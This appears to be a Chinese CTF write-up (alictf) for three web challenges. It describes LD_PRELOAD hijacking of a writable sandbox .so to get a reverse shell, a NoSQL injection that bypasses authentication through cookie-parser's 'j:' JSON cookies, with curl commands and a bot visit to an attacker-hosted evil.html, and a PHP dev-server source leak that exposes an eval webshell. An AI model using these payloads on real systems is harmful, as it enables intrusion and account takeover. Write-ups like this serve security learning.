RootKB
发现工具里的调试可以运行python
拉到本地康康

直接在这里就能看到sandbox有权叭,tool执行代码默认用户是sandbox。很明显能看到.so文件是没啥限制的,我们就从这里入手。(加上从出题人那里得知就是沙箱的洞(((
def runcmd():
with open("/opt/maxkb-app/sandbox/sandbox.so", "rb") as f:
data = f.read()
return data
可以看到这个目录下的是有权限读写的

想到LD_PRELOAD劫持,遂https://developer.aliyun.com/article/1313475,可以直接copy 下来exp即可
先准备好文件

运行1.py得到data,然后再在工具那里写入ta就行
def runcmd():
with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
a=""".d..a..t..a..."""
f.write(a)
return 1

最后再触发即可
import os
os.popen("ls")
成功反弹shell

Easy Login
cookie-parser 中间件有个特性:如果 cookie 值以 j: 开头,会自动 JSON.parse 解析成对象。
sid=j:{"$gt":""} → req.cookies.sid = {"$gt":""}
而这道题是用 cookie 里的 sid 查找 session
const session = await sessionsCollection.findOne({ sid });
所以:findOne({ sid: {"$gt":""} }),匹配所有 sid 大于空字符串的记录,即任意 session。
因此让bot访问 http://127.0.0.1:3000/ 并用 admin 账号登录,数据库里会插入session,bot再随便访问一个url实现登陆
curl "http://xxx/admin" -H 'Cookie: sid=j:{"$gt":""}'
cookie-parser 把 sid 解析成对象 {“$gt”:””},MongoDB 执行 findOne({ sid: {“$gt”:””} }) 匹配到 admin 的 session
但有的时候会遇见数据库匹配不到的情况,所以建议重开容器然后一把索
curl -X POST "http://223.6.249.127:45811/visit" -H "Content-Type: application/json" -d '{"url":"http://120.27.122.42:8000/evil.html"}' && sleep 10 && curl "http://223.6.249.127:45811/admin" -H 'Cookie: sid=j:{"$gt":""}'
{"ok":true}{"flag":"alictf{9f016e08-e77a-4105-a5f5-693b799078ce}"}
keep
php<= 7 . 4 . 21 development server源码泄露漏洞复现 - 凪白Kw - 博客园
GET /index.php HTTP/1.1
Host: 101.245.72.127:8888
GET /Kawakaze.txt HTTP/1.1

这个需要下面那个是静态格式比如(加.txt),常规payload不一定是按静态解析
得到
<?php
@eval($_POST["admin"]);
如果是txt文件的话,他返回的格式就是Text/plain,于是就以第二请求为.php文件去访问s3Cr37_f1L3.php.bak

这里注意长度就行了,然后记得都开不修复长度